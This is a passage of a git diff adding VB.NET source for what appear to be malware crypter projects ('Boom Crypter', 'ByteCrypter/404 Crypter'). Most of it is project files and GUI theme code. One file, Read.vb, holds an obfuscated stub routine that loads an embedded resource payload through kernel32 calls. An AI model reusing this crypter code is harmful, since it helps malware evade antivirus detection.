My.Application.Shutdown, AddressOf AutoSaveSettings + addedHandler = True + End If + End SyncLock + End If +#End If + Return defaultInstance + End Get + End Property + End Class +End Namespace + +Namespace My + + _ + Friend Module MySettingsProperty + + _ + Friend ReadOnly Property Settings() As Global.Gogoli.My.MySettings + Get + Return Global.Gogoli.My.MySettings.Default + End Get + End Property + End Module +End Namespace diff --git a/scode (Boom Crypter Source/Boom1/Boom1/My Project/Settings.settings b/scode (Boom Crypter Source/Boom1/Boom1/My Project/Settings.settings new file mode 100644 index 0000000..377f56d --- /dev/null +++ b/scode (Boom Crypter Source/Boom1/Boom1/My Project/Settings.settings @@ -0,0 +1,7 @@ + + + + + + + diff --git a/scode (Boom Crypter Source/Boom1/Boom1/Read.vb b/scode (Boom Crypter Source/Boom1/Boom1/Read.vb new file mode 100644 index 0000000..2e491f8 --- /dev/null +++ b/scode (Boom Crypter Source/Boom1/Boom1/Read.vb @@ -0,0 +1,21 @@ +Imports System.Runtime.InteropServices +Module ________ + + _ + Private Function FindResource(ByVal [x] As IntPtr, ByVal [xx] As String, ByVal [xxx] As String) As IntPtr + End Function + + Private Declare Function ___ Lib "kernel32" Alias "GetModuleHandleA" (ByVal moduleName As String) As IntPtr + Private Declare Function SizeofResource Lib "kernel32" (ByVal hModule As IntPtr, ByVal hResInfo As IntPtr) As Integer + Private Declare Function LoadResource Lib "kernel32" (ByVal hModule As IntPtr, ByVal hResInfo As IntPtr) As IntPtr + + Public Function [X_x](ByVal [xxxx] As String) As Byte() + Dim [xxxxx] As IntPtr = ___([xxxx]) + Dim xx As IntPtr = FindResource([xxxxx], "0", "RT_RCDATA") + Dim x As IntPtr = LoadResource([xxxxx], xx) + Dim xxxxxx = SizeofResource([xxxxx], xx) + Dim xxx As Byte() = New Byte(xxxxxx - 1) {} + Marshal.Copy(x, xxx, 0, CInt(xxxx)) + Return xxx + End Function +End Module diff --git a/scode (Boom Crypter Source/Boom1/Boom1/app.config b/scode (Boom Crypter Source/Boom1/Boom1/app.config new file mode 100644 index 0000000..8d4e2b1 --- /dev/null +++ b/scode (Boom Crypter Source/Boom1/Boom1/app.config @@ -0,0 +1,23 @@ + + + + + + + + + + + + + + + + + + + + + + + diff --git a/scode (ByteCrypt/ByteCrypter.sln b/scode (ByteCrypt/ByteCrypter.sln new file mode 100644 index 0000000..e049f12 --- /dev/null +++ b/scode (ByteCrypt/ByteCrypter.sln @@ -0,0 +1,20 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio 2012 +Project("{F184B08F-C81C-45F6-A57F-5ABD9991F28F}") = "ByteCrypter", "ByteCrypter\ByteCrypter.vbproj", "{3CC6310C-DD38-49AB-85EE-5BDD5CB29EB4}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Any CPU = Debug|Any CPU + Release|Any CPU = Release|Any CPU + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {3CC6310C-DD38-49AB-85EE-5BDD5CB29EB4}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {3CC6310C-DD38-49AB-85EE-5BDD5CB29EB4}.Debug|Any CPU.Build.0 = Debug|Any CPU + {3CC6310C-DD38-49AB-85EE-5BDD5CB29EB4}.Release|Any CPU.ActiveCfg = Release|Any CPU + {3CC6310C-DD38-49AB-85EE-5BDD5CB29EB4}.Release|Any CPU.Build.0 = Release|Any CPU + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git a/scode (ByteCrypt/ByteCrypter.suo b/scode (ByteCrypt/ByteCrypter.suo new file mode 100644 index 0000000..e34be3c Binary files /dev/null and b/scode (ByteCrypt/ByteCrypter.suo differ diff --git a/scode (ByteCrypt/ByteCrypter.v11.suo b/scode (ByteCrypt/ByteCrypter.v11.suo new file mode 100644 index 0000000..93a37b3 Binary files /dev/null and b/scode (ByteCrypt/ByteCrypter.v11.suo differ diff --git a/scode (ByteCrypt/ByteCrypter.v12.suo b/scode (ByteCrypt/ByteCrypter.v12.suo new file mode 100644 index 0000000..b765766 Binary files /dev/null and b/scode (ByteCrypt/ByteCrypter.v12.suo differ diff --git a/scode (ByteCrypt/ByteCrypter/ByteCrypter.vbproj b/scode (ByteCrypt/ByteCrypter/ByteCrypter.vbproj new file mode 100644 index 0000000..6115c5e --- /dev/null +++ b/scode (ByteCrypt/ByteCrypter/ByteCrypter.vbproj @@ -0,0 +1,218 @@ + + + + + Debug + AnyCPU + {3CC6310C-DD38-49AB-85EE-5BDD5CB29EB4} + WinExe + Crypter.My.MyApplication + Crypter + 404 Crypter + 512 + WindowsForms + v4.0 + + + publier\ + true + Disk + false + Foreground + 7 + Days + false + false + true + 0 + 1.0.0.%2a + false + false + true + + + AnyCPU + true + full + true + true + bin\Debug\ + 404 Crypter.xml + 42016,41999,42017,42018,42019,42032,42036,42020,42021,42022 + + + AnyCPU + pdbonly + false + true + true + bin\Release\ + 404 Crypter.xml + 42016,41999,42017,42018,42019,42032,42036,42020,42021,42022 + + + On + + + Binary + + + Off + + + On + + + blackhole-eclipse-etoile-soleil-icone-7145.ico + + + false + + + pourquoi.snk + + + + False + ..\..\..\..\Mono.Cecil.dll + + + + + + + + + + + + + + + + + + + + + + + + + + + + + Component + + + Form + + + Form1.vb + Form + + + + Component + + + + True + Application.myapp + + + True + True + Resources.resx + + + True + Settings.settings + True + + + + Scanner.vb + + + Form + + + Component + + + + + Form1.vb + + + VbMyResourcesResXFileCodeGenerator + Resources.Designer.vb + My.Resources + Designer + + + Scanner.vb + + + + + + MyApplicationCodeGenerator + Application.Designer.vb + + + SettingsSingleFileGenerator + My + Settings.Designer.vb + + + + + + + + + + + + + + + + + + + + + + False + Microsoft .NET Framework 4 %28x86 et x64%29 + true + + + False + .NET Framework 3.5 SP1 Client Profile + false + + + False + .NET Framework 3.5 SP1 + false + + + False + Windows Installer 4.5 + true + + + + + \ No newline at end of file diff --git a/scode (ByteCrypt/ByteCrypter/ByteCrypter.vbproj.user b/scode (ByteCrypt/ByteCrypter/ByteCrypter.vbproj.user new file mode 100644 index 0000000..3cbb482 --- /dev/null +++ b/scode (ByteCrypt/ByteCrypter/ByteCrypter.vbproj.user @@ -0,0 +1,14 @@ + + + + ProjectFiles + publier\ + + + + + + fr-FR + false + + \ No newline at end of file diff --git a/scode (ByteCrypt/ByteCrypter/Class1.vb b/scode (ByteCrypt/ByteCrypter/Class1.vb new file mode 100644 index 0000000..5f28270 --- /dev/null +++ b/scode (ByteCrypt/ByteCrypter/Class1.vb @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/scode (ByteCrypt/ByteCrypter/DesignTheme.vb b/scode (ByteCrypt/ByteCrypter/DesignTheme.vb new file mode 100644 index 0000000..6b61216 --- /dev/null +++ b/scode (ByteCrypt/ByteCrypter/DesignTheme.vb @@ -0,0 +1,811 @@ +Imports System.Drawing.Drawing2D +Imports System.ComponentModel + +'################################################### +'# # +'# COLOR BY Mavamaarten # +'# # +'# THEME & CODE BY Patak # +'# # +'################################################### + +Public Class DesignForm +#Region " Gestion du type de Control " + + Inherits ContainerControl + +#End Region + +#Region " Initialisation de variable " + + Private Locked As Boolean = False + Private Position As Point = Nothing + + Dim Couleur_Ecriture As Color = Color.FromArgb(70, 70, 70) + Dim Couleur_BackColor As Color = Color.FromArgb(25, 25, 25) + + Dim Couleur_Degrade1 As Color = Color.FromArgb(35, 35, 35) + Dim Couleur_Degrade2 As Color = Color.FromArgb(25, 25, 25) + + Dim Couleur_BordureExt As Color = Color.Black + + Dim Couleur_BordureInt1_Haut As Color = Color.FromArgb(74, 74, 74) + Dim Couleur_BordureInt1_Bas As Color = Color.FromArgb(39, 39, 39) + Dim Couleur_BordureInt2 As Color = Color.FromArgb(43, 43, 43) + + Dim Couleur_Separation1 As Color = Color.Black + Dim Couleur_Separation2 As Color = Color.FromArgb(26, 128, 154) + Dim Couleur_Separation3 As Color = Color.Black + + Dim Hauteur_Barre As Integer = 33 + +#End Region + +#Region " Gestion du New " + + Sub New() + Dock = DockStyle.Fill + Font = New Font("Verdana", 10, FontStyle.Regular) + SendToBack() + DoubleBuffered = True + Padding = New Padding(2, 36, 2, 2) + + End Sub + +#End Region + +#Region " Proprits " + + Public Overrides Property Text As String + Get + Return MyBase.Text + End Get + Set(ByVal Value As String) + MyBase.Text = Value + Invalidate() + End Set + End Property + +#End Region + +#Region " Gestion et cration du design " + + Protected Overrides Sub OnPaint(ByVal e As System.Windows.Forms.PaintEventArgs) + MyBase.OnPaint(e) + e.Graphics.SmoothingMode = SmoothingMode.Default + + 'BACKGROUND + + e.Graphics.Clear(Couleur_BackColor) + + 'HAUT + + Dim Rectangle_Haut As New Rectangle(0, 0, Width, Hauteur_Barre) + Dim Haut_Brush As New LinearGradientBrush(Rectangle_Haut, Couleur_Degrade1, Couleur_Degrade2, LinearGradientMode.Vertical) + e.Graphics.FillRectangle(Haut_Brush, Rectangle_Haut) + Haut_Brush.Dispose() + + 'ECRITURE + + Dim StringFormat As New StringFormat + StringFormat.LineAlignment = StringAlignment.Center + StringFormat.Alignment = StringAlignment.Near + + Dim Rectangle_Ecriture As New Rectangle(15, 0, Width - 15, Hauteur_Barre) + + e.Graphics.DrawString(Text, Font, New SolidBrush(Couleur_Ecriture), Rectangle_Ecriture, StringFormat) + StringFormat.Dispose() + + 'BORDURE INT1 + + Dim Rectangle_BordureInt1 As New Rectangle(1, 1, Width - 3, Hauteur_Barre - 4) + Dim Rectangle_BordureInt1_AvecBordure As New Rectangle(0, 0, Width - 1, Hauteur_Barre - 2) + + Dim Brush_BordureInt1 As New LinearGradientBrush(Rectangle_BordureInt1_AvecBordure, Couleur_BordureInt1_Haut, Couleur_BordureInt1_Bas, LinearGradientMode.Vertical) + e.Graphics.DrawRectangle(New Pen(Brush_BordureInt1, 1), Rectangle_BordureInt1) + + 'BORDURE INT2 + + Dim Rectangle_BordureInt2 As New Rectangle(1, Hauteur_Barre + 2, Width - 3, Height - Hauteur_Barre - 4) + e.Graphics.DrawRectangle(New Pen(Couleur_BordureInt2, 1), Rectangle_BordureInt2) + + 'SEPARATION + + Dim Separation_Point1 As New Point(0, Hauteur_Barre) + Dim Separation_Point2 As New Point(Width, Hauteur_Barre) + + Dim Separation_Brush As New LinearGradientBrush(Separation_Point1, Separation_Point2, Color.Black, Color.Black) + + Dim ColorBlend As New ColorBlend + ColorBlend.Colors = New Color() {Couleur_Separation1, Couleur_Separation2, Couleur_Separation3} + ColorBlend.Positions = New Single() {0, 0.5, 1} + + Separation_Brush.InterpolationColors = ColorBlend + + e.Graphics.DrawLine(New Pen(Separation_Brush, 2), Separation_Point1, Separation_Point2) + + Separation_Brush.Dispose() + + 'BORDURE EXT1 + + Dim Rectangle_BordureExt1 As New Rectangle(0, 0, Width - 1, Hauteur_Barre - 2) + e.Graphics.DrawRectangle(New Pen(Couleur_BordureExt, 1), Rectangle_BordureExt1) + + 'BORDURE EXT2 + + Dim Rectangle_BordureExt2 As New Rectangle(0, Hauteur_Barre + 1, Width - 1, Height - Hauteur_Barre - 2) + e.Graphics.DrawRectangle(New Pen(Couleur_BordureExt, 1), Rectangle_BordureExt2) + + End Sub + +#End Region + +#Region " Gestion des actions " + + Protected Overrides Sub OnHandleCreated(ByVal e As System.EventArgs) + MyBase.OnHandleCreated(e) + FindForm.FormBorderStyle = FormBorderStyle.None + End Sub + + Protected Overrides Sub OnMouseDown(ByVal e As System.Windows.Forms.MouseEventArgs) + MyBase.OnMouseDown(e) + Dim Rectangle As New Rectangle(0, 0, Width, Hauteur_Barre) + If (Rectangle.Contains(e.Location)) Then + Locked = True + Position = e.Location + End If + End Sub + + Protected Overrides Sub OnMouseUp(ByVal e As System.Windows.Forms.MouseEventArgs) + MyBase.OnMouseUp(e) + Locked = False + End Sub + + Protected Overrides Sub OnMouseMove(ByVal e As System.Windows.Forms.MouseEventArgs) + MyBase.OnMouseMove(e) + If (Locked) Then + FindForm.Location = Cursor.Position - Position + End If + End Sub + + Protected Overrides Sub OnResize(ByVal e As System.EventArgs) + MyBase.OnResize(e) + Invalidate() + End Sub + +#End Region +End Class + +Public Class DesignControlBox +#Region " Gestion du type de Control " + + Inherits Control + +#End Region + +#Region " Initialisation de variable " + + Dim Couleur_Ecriture_None As Color = Color.FromArgb(70, 70, 70) + Dim Couleur_Ecriture_Over As Color = Color.FromArgb(150, 150, 150) + Dim Couleur_Ecriture_Down As Color = Color.FromArgb(200, 200, 200) + + Dim Etat_Bouton As Etat = Etat.None + Dim Position As New Point + +#End Region + +#Region " Initialisation des Enum " + + Enum Etat As Integer + None + Over + Down + End Enum + +#End Region + +#Region " Gestion du New " + + Sub New() + Me.Size = New Size(40, 20) + Me.SetStyle(ControlStyles.SupportsTransparentBackColor, True) + Me.BackColor = Color.Transparent + Me.Anchor = AnchorStyles.Top Or AnchorStyles.Right + DoubleBuffered = True + End Sub + +#End Region + +#Region " Gestion et cration du design " + + Protected Overrides Sub OnPaint(ByVal e As System.Windows.Forms.PaintEventArgs) + MyBase.OnPaint(e) + e.Graphics.SmoothingMode = SmoothingMode.Default + + Dim Point_Min As New Point(2, 4) + Dim Point_Close As New Point(22, 5) + + 'GESTION DES ETATS + + Dim Couleur_Ecriture As Color + + Select Case Etat_Bouton + Case Etat.None + Couleur_Ecriture = Couleur_Ecriture_None + Case Etat.Over + Couleur_Ecriture = Couleur_Ecriture_Over + Case Etat.Down + Couleur_Ecriture = Couleur_Ecriture_Down + End Select + + 'ECRITURE + + If (Position.X <= 20) Then + e.Graphics.DrawString("0", New Font("Marlett", 8), New SolidBrush(Couleur_Ecriture), Point_Min) + e.Graphics.DrawString("r", New Font("Marlett", 8), New SolidBrush(Couleur_Ecriture_None), Point_Close) + Else + e.Graphics.DrawString("0", New Font("Marlett", 8), New SolidBrush(Couleur_Ecriture_None), Point_Min) + e.Graphics.DrawString("r", New Font("Marlett", 8), New SolidBrush(Couleur_Ecriture), Point_Close) + End If + End Sub + +#End Region + +#Region " Gestion des actions " + + Protected Overrides Sub OnMouseMove(e As System.Windows.Forms.MouseEventArgs) + MyBase.OnMouseMove(e) + Position = e.Location + Invalidate() + End Sub + + Protected Overrides Sub OnClick(e As System.EventArgs) + MyBase.OnClick(e) + If (Position.X <= 20) Then + FindForm.WindowState = FormWindowState.Minimized + Else + FindForm.Close() + End If + End Sub + + Protected Overrides Sub OnMouseEnter(ByVal e As System.EventArgs) + MyBase.OnMouseEnter(e) + Etat_Bouton = Etat.Over + Invalidate() + End Sub + + Protected Overrides Sub OnMouseLeave(ByVal e As System.EventArgs) + MyBase.OnMouseLeave(e) + Etat_Bouton = Etat.None + Invalidate() + End Sub + + Protected Overrides Sub OnMouseDown(ByVal e As System.Windows.Forms.MouseEventArgs) + MyBase.OnMouseDown(e) + Etat_Bouton = Etat.Down + Invalidate() + End Sub + + Protected Overrides Sub OnMouseUp(ByVal e As System.Windows.Forms.MouseEventArgs) + MyBase.OnMouseUp(e) + Etat_Bouton = Etat.Over + Invalidate() + End Sub + + Protected Overrides Sub OnResize(ByVal e As System.EventArgs) + MyBase.OnResize(e) + Invalidate() + End Sub + +#End Region +End Class + +Public Class DesignGroupBox +#Region " Gestion du type de Control " + + Inherits ContainerControl + +#End Region + +#Region " Initialisation de variable " + + Dim Couleur_Ecriture As Color = Color.DarkGray + Dim Couleur_BackColor As Color = Color.FromArgb(27, 27, 27) + + Dim Couleur_Degrade1 As Color = Color.FromArgb(39, 39, 39) + Dim Couleur_Degrade2 As Color = Color.FromArgb(24, 24, 24) + + Dim Couleur_BordureExt As Color = Color.Black + + Dim Couleur_BordureInt1_Haut As Color = Color.FromArgb(52, 52, 52) + Dim Couleur_BordureInt1_Bas As Color = Color.FromArgb(37, 37, 37) + Dim Couleur_BordureInt2 As Color = Color.FromArgb(43, 43, 43) + + Dim Couleur_Separation As Color = Color.Black + + Dim Hauteur_Barre As Integer = 25 + +#End Region + +#Region " Gestion du New " + + Sub New() + Me.Size = New Size(172, 108) + Font = New Font("Verdana", 8.25, FontStyle.Regular) + DoubleBuffered = True + Padding = New Padding(2, 27, 2, 2) + End Sub + +#End Region + +#Region " Proprits " + + Public Overrides Property Text As String + Get + Return MyBase.Text + End Get + Set(ByVal Value As String) + MyBase.Text = Value + Invalidate() + End Set + End Property + +#End Region + +#Region " Gestion et cration du design " + + Protected Overrides Sub OnPaint(ByVal e As System.Windows.Forms.PaintEventArgs) + MyBase.OnPaint(e) + e.Graphics.SmoothingMode = SmoothingMode.Default + + 'BACKGROUND + + e.Graphics.Clear(Couleur_BackColor) + + 'HAUT + + Dim Rectangle_Haut As New Rectangle(0, 0, Width, Hauteur_Barre) + Dim Haut_Brush As New LinearGradientBrush(Rectangle_Haut, Couleur_Degrade1, Couleur_Degrade2, LinearGradientMode.Vertical) + e.Graphics.FillRectangle(Haut_Brush, Rectangle_Haut) + Haut_Brush.Dispose() + + 'ECRITURE + + Dim StringFormat As New StringFormat + StringFormat.LineAlignment = StringAlignment.Center + StringFormat.Alignment = StringAlignment.Near + + Dim Rectangle_Ecriture As New Rectangle(9, 2, Width - 9, Hauteur_Barre - 2) + + e.Graphics.DrawString(Text, Font, New SolidBrush(Couleur_Ecriture), Rectangle_Ecriture, StringFormat) + StringFormat.Dispose() + + 'BORDURE INT1 + + Dim Rectangle_BordureInt1 As New Rectangle(1, 1, Width - 3, Hauteur_Barre - 2) + Dim Rectangle_BordureInt1_AvecBordure As New Rectangle(0, 0, Width - 1, Hauteur_Barre) + + Dim Brush_BordureInt1 As New LinearGradientBrush(Rectangle_BordureInt1_AvecBordure, Couleur_BordureInt1_Haut, Couleur_BordureInt1_Bas, LinearGradientMode.Vertical) + e.Graphics.DrawRectangle(New Pen(Brush_BordureInt1, 1), Rectangle_BordureInt1) + + 'BORDURE INT2 + + Dim Rectangle_BordureInt2 As New Rectangle(1, Hauteur_Barre, Width - 3, Height - Hauteur_Barre - 2) + e.Graphics.DrawRectangle(New Pen(Couleur_BordureInt2, 1), Rectangle_BordureInt2) + + 'SEPARATION + + Dim Separation_Point1 As New Point(0, Hauteur_Barre) + Dim Separation_Point2 As New Point(Width, Hauteur_Barre) + + e.Graphics.DrawLine(New Pen(Couleur_Separation, 1), Separation_Point1, Separation_Point2) + + 'BORDURE EXT + + Dim Rectangle_BordureExt As New Rectangle(0, 0, Width - 1, Height - 1) + e.Graphics.DrawRectangle(New Pen(Couleur_BordureExt, 1), Rectangle_BordureExt) + + End Sub + +#End Region + +#Region " Gestion des actions " + + Protected Overrides Sub OnResize(ByVal e As System.EventArgs) + MyBase.OnResize(e) + Invalidate() + End Sub + +#End Region +End Class + +Public Class DesignButton +#Region " Gestion du type de Control " + + Inherits Control + +#End Region + +#Region " Initialisation de variable " + + Dim Couleur_Ecriture As Color = Color.FromArgb(170, 170, 170) + + Dim Couleur_Degrade1_None As Color = Color.FromArgb(40, 40, 40) + Dim Couleur_Degrade2_None As Color = Color.FromArgb(20, 20, 20) + + Dim Couleur_Degrade1_Over As Color = Color.FromArgb(46, 46, 46) + Dim Couleur_Degrade2_Over As Color = Color.FromArgb(26, 26, 26) + + Dim Couleur_Degrade1_Down As Color = Color.FromArgb(37, 37, 37) + Dim Couleur_Degrade2_Down As Color = Color.FromArgb(18, 18, 18) + + Dim Couleur_BordureExt As Color = Color.Black + + Dim Couleur_BordureInt_Haut_None As Color = Color.FromArgb(53, 53, 53) + Dim Couleur_BordureInt_Bas_None As Color = Color.FromArgb(34, 34, 34) + + Dim Couleur_BordureInt_Haut_Over As Color = Color.FromArgb(58, 58, 58) + Dim Couleur_BordureInt_Bas_Over As Color = Color.FromArgb(39, 39, 39) + + Dim Couleur_BordureInt_Haut_Down As Color = Color.FromArgb(50, 50, 50) + Dim Couleur_BordureInt_Bas_Down As Color = Color.FromArgb(32, 32, 32) + + Dim Etat_Bouton As Etat = Etat.None + +#End Region + +#Region " Initialisation des Enum " + + Enum Etat As Integer + None + Over + Down + End Enum + +#End Region + +#Region " Gestion du New " + + Sub New() + Me.Size = New Size(130, 40) + Font = New Font("Verdana", 9, FontStyle.Regular) + DoubleBuffered = True + End Sub + +#End Region + +#Region " Proprits " + + Public Overrides Property Text As String + Get + Return MyBase.Text + End Get + Set(ByVal Value As String) + MyBase.Text = Value + Invalidate() + End Set + End Property + +#End Region + +#Region " Gestion et cration du design " + + Protected Overrides Sub OnPaint(ByVal e As System.Windows.Forms.PaintEventArgs) + MyBase.OnPaint(e) + e.Graphics.SmoothingMode = SmoothingMode.Default + + 'GESTION DES ETATS + + Dim Couleur_Degrade1 As New Color + Dim Couleur_Degrade2 As New Color + + Dim Couleur_BordureInt_Haut As New Color + Dim Couleur_BordureInt_Bas As New Color + + Select Case Etat_Bouton + Case Etat.None + Couleur_Degrade1 = Couleur_Degrade1_None + Couleur_Degrade2 = Couleur_Degrade2_None + + Couleur_BordureInt_Haut = Couleur_BordureInt_Haut_None + Couleur_BordureInt_Bas = Couleur_BordureInt_Bas_None + Case Etat.Over + Couleur_Degrade1 = Couleur_Degrade1_Over + Couleur_Degrade2 = Couleur_Degrade2_Over + + Couleur_BordureInt_Haut = Couleur_BordureInt_Haut_Over + Couleur_BordureInt_Bas = Couleur_BordureInt_Bas_Over + Case Etat.Down + Couleur_Degrade1 = Couleur_Degrade1_Down + Couleur_Degrade2 = Couleur_Degrade2_Down + + Couleur_BordureInt_Haut = Couleur_BordureInt_Haut_Down + Couleur_BordureInt_Bas = Couleur_BordureInt_Bas_Down + End Select + + 'BACKGROUND + + Dim Rectangle_Haut As New Rectangle(0, 0, Width, Height) + + Dim Haut_Brush As LinearGradientBrush = New LinearGradientBrush(Rectangle_Haut, Couleur_Degrade1, Couleur_Degrade2, LinearGradientMode.Vertical) + e.Graphics.FillRectangle(Haut_Brush, Rectangle_Haut) + Haut_Brush.Dispose() + + 'ECRITURE + + Dim StringFormat As New StringFormat + StringFormat.LineAlignment = StringAlignment.Center + StringFormat.Alignment = StringAlignment.Center + + Dim Rectangle_Ecriture As New Rectangle(0, 0, Width, Height) + + e.Graphics.DrawString(Text, Font, New SolidBrush(Couleur_Ecriture), Rectangle_Ecriture, StringFormat) + + 'BORDURE INT + + Dim Rectangle_BordureInt As New Rectangle(1, 1, Width - 3, Height - 3) + Dim Rectangle_BordureInt_AvecBordure As New Rectangle(0, 0, Width - 1, Height - 1) + + Dim Brush_BordureInt As New LinearGradientBrush(Rectangle_BordureInt_AvecBordure, Couleur_BordureInt_Haut, Couleur_BordureInt_Bas, LinearGradientMode.Vertical) + e.Graphics.DrawRectangle(New Pen(Brush_BordureInt, 1), Rectangle_BordureInt) + + 'BORDURE EXT + + Dim Rectangle_BordureExt As New Rectangle(0, 0, Width - 1, Height - 1) + e.Graphics.DrawRectangle(New Pen(Couleur_BordureExt, 1), Rectangle_BordureExt) + End Sub + +#End Region + +#Region " Gestion des actions " + + Protected Overrides Sub OnMouseEnter(ByVal e As System.EventArgs) + MyBase.OnMouseEnter(e) + Etat_Bouton = Etat.Over + Invalidate() + End Sub + + Protected Overrides Sub OnMouseLeave(ByVal e As System.EventArgs) + MyBase.OnMouseLeave(e) + Etat_Bouton = Etat.None + Invalidate() + End Sub + + Protected Overrides Sub OnMouseDown(ByVal e As System.Windows.Forms.MouseEventArgs) + MyBase.OnMouseDown(e) + Etat_Bouton = Etat.Down + Invalidate() + End Sub + + Protected Overrides Sub OnMouseUp(ByVal e As System.Windows.Forms.MouseEventArgs) + MyBase.OnMouseUp(e) + Etat_Bouton = Etat.Over + Invalidate() + End Sub + + Protected Overrides Sub OnResize(ByVal e As System.EventArgs) + MyBase.OnResize(e) + Invalidate() + End Sub + +#End Region +End Class + + _ +Class DeumosCheckBox + Inherits ThemeControl153 + + Sub New() + LockHeight = 16 + + SetColor("Border", 26, 26, 26) + SetColor("Gloss1", 35, Color.White) + SetColor("Gloss2", 5, Color.White) + SetColor("Checked1", Color.Transparent) + SetColor("Checked2", 40, Color.White) + SetColor("Unchecked1", 8, 8, 8) + SetColor("Unchecked2", 16, 16, 16) + SetColor("Glow", 5, Color.White) + SetColor("Text", Color.White) + SetColor("InnerOutline", Color.Black) + SetColor("OuterOutline", Color.Black) + End Sub + + Private C1, C2, C3, C4, C5, C6 As Color + Private P1, P2, P3 As Pen + Private B1, B2 As SolidBrush + + Protected Overrides Sub ColorHook() + C1 = GetColor("Gloss1") + C2 = GetColor("Gloss2") + C3 = GetColor("Checked1") + C4 = GetColor("Checked2") + C5 = GetColor("Unchecked1") + C6 = GetColor("Unchecked2") + + P1 = New Pen(GetColor("Border")) + P2 = New Pen(GetColor("InnerOutline")) + P3 = New Pen(GetColor("OuterOutline")) + + B1 = New SolidBrush(GetColor("Glow")) + B2 = New SolidBrush(GetColor("Text")) + End Sub + + Protected Overrides Sub PaintHook() + G.Clear(BackColor) + + DrawBorders(P1, 0, 0, _Field, _Field, 1) + DrawGradient(C1, C2, 0, 0, _Field, _Field \ 2) + + If _Checked Then + DrawGradient(C3, C4, 2, 2, _Field - 4, _Field - 4) + Else + DrawGradient(C5, C6, 2, 2, _Field - 4, _Field - 4, 90) + End If + + If State = MouseState.Over Then + G.FillRectangle(B1, 0, 0, _Field, _Field) + End If + + DrawText(B2, HorizontalAlignment.Left, _Field + 3, 0) + + DrawBorders(P2, 0, 0, _Field, _Field, 2) + DrawBorders(P3, 0, 0, _Field, _Field) + + DrawCorners(BackColor, 0, 0, _Field, _Field) + End Sub + + Private _Field As Integer = 16 + Property Field() As Integer + Get + Return _Field + End Get + Set(ByVal value As Integer) + If value < 4 Then Return + _Field = value + LockHeight = value + Invalidate() + End Set + End Property + + Private _Checked As Boolean + Property Checked() As Boolean + Get + Return _Checked + End Get + Set(ByVal value As Boolean) + _Checked = value + Invalidate() + End Set + End Property + + Protected Overrides Sub OnMouseDown(ByVal e As System.Windows.Forms.MouseEventArgs) + _Checked = Not _Checked + RaiseEvent CheckedChanged(Me) + MyBase.OnMouseDown(e) + End Sub + + Event CheckedChanged(ByVal sender As Object) + +End Class + + _ +Class DeumosRadioButton + Inherits ThemeControl153 + + Sub New() + LockHeight = 16 + + SetColor("Gloss1", 38, Color.White) + SetColor("Gloss2", 5, Color.White) + SetColor("Checked1", Color.Transparent) + SetColor("Checked2", 40, Color.White) + SetColor("Unchecked1", 8, 8, 8) + SetColor("Unchecked2", 16, 16, 16) + SetColor("Glow", 5, Color.White) + SetColor("Text", Color.White) + SetColor("InnerOutline", Color.Black) + SetColor("OuterOutline", 15, Color.White) + End Sub + + Protected Overrides Sub ColorHook() + C1 = GetColor("Gloss1") + C2 = GetColor("Gloss2") + C3 = GetColor("Checked1") + C4 = GetColor("Checked2") + C5 = GetColor("Unchecked1") + C6 = GetColor("Unchecked2") + + B1 = New SolidBrush(GetColor("Glow")) + B2 = New SolidBrush(GetColor("Text")) + + P1 = New Pen(GetColor("InnerOutline")) + P2 = New Pen(GetColor("OuterOutline")) + End Sub + + Private C1, C2, C3, C4, C5, C6 As Color + Private P1, P2 As Pen + Private B1, B2 As SolidBrush + + Private R1, R2 As Rectangle + Private G1 As LinearGradientBrush + + Protected Overrides Sub PaintHook() + G.Clear(BackColor) + + G.SmoothingMode = SmoothingMode.HighQuality + R1 = New Rectangle(4, 2, _Field - 8, (_Field \ 2) - 1) + R2 = New Rectangle(4, 2, _Field - 8, (_Field \ 2)) + + G1 = New LinearGradientBrush(R2, C1, C2, 90S) + G.FillEllipse(G1, R1) + + R1 = New Rectangle(2, 2, _Field - 4, _Field - 4) + + If _Checked Then + G1 = New LinearGradientBrush(R1, C3, C4, 90S) + Else + G1 = New LinearGradientBrush(R1, C5, C6, 90S) + End If + G.FillEllipse(G1, R1) + + If State = MouseState.Over Then + R1 = New Rectangle(2, 2, _Field - 4, _Field - 4) + G.FillEllipse(B1, R1) + End If + + DrawText(B2, HorizontalAlignment.Left, _Field + 3, 0) + + G.DrawEllipse(P1, 2, 2, _Field - 4, _Field - 4) + G.DrawEllipse(P2, 1, 1, _Field - 2, _Field - 2) + + End Sub + + Private _Field As Integer = 16 + Property Field() As Integer + Get + Return _Field + End Get + Set(ByVal value As Integer) + If value < 4 Then Return + _Field = value + LockHeight = value + Invalidate() + End Set + End Property + + Private _Checked As Boolean + Property Checked() As Boolean + Get + Return _Checked + End Get + Set(ByVal value As Boolean) + _Checked = value + InvalidateControls() + RaiseEvent CheckedChanged(Me) + Invalidate() + End Set + End Property + + Protected Overrides Sub OnMouseDown(ByVal e As System.Windows.Forms.MouseEventArgs) + If Not _Checked Then Checked = True + MyBase.OnMouseDown(e) + End Sub + + Event CheckedChanged(ByVal sender As Object) + + Protected Overrides Sub OnCreation() + InvalidateControls() + End Sub + + Private Sub InvalidateControls() + If Not IsHandleCreated OrElse Not _Checked Then Return + + For Each C As Control In Parent.Controls + If C IsNot Me AndAlso TypeOf C Is DeumosRadioButton Then + DirectCast(C, DeumosRadioButton).Checked = False + End If + Next + End Sub + +End Class \ No newline at end of file diff --git a/scode (ByteCrypt/ByteCrypter/Form1.Designer.vb b/scode (ByteCrypt/ByteCrypter/Form1.Designer.vb new file mode 100644 index 0000000..b8512ce --- /dev/null +++ b/scode (ByteCrypt/ByteCrypter/Form1.Designer.vb @@ -0,0 +1,854 @@ + _ +Partial Class Form1 + Inherits System.Windows.Forms.Form + + 'Form remplace la méthode Dispose pour nettoyer la liste des composants. + _ + Protected Overrides Sub Dispose(ByVal disposing As Boolean) + Try + If disposing AndAlso components IsNot Nothing Then + components.Dispose() + End If + Finally + MyBase.Dispose(disposing) + End Try + End Sub + + 'Requise par le Concepteur Windows Form + Private components As System.ComponentModel.IContainer + + 'REMARQUE : la procédure suivante est requise par le Concepteur Windows Form + 'Elle peut être modifiée à l'aide du Concepteur 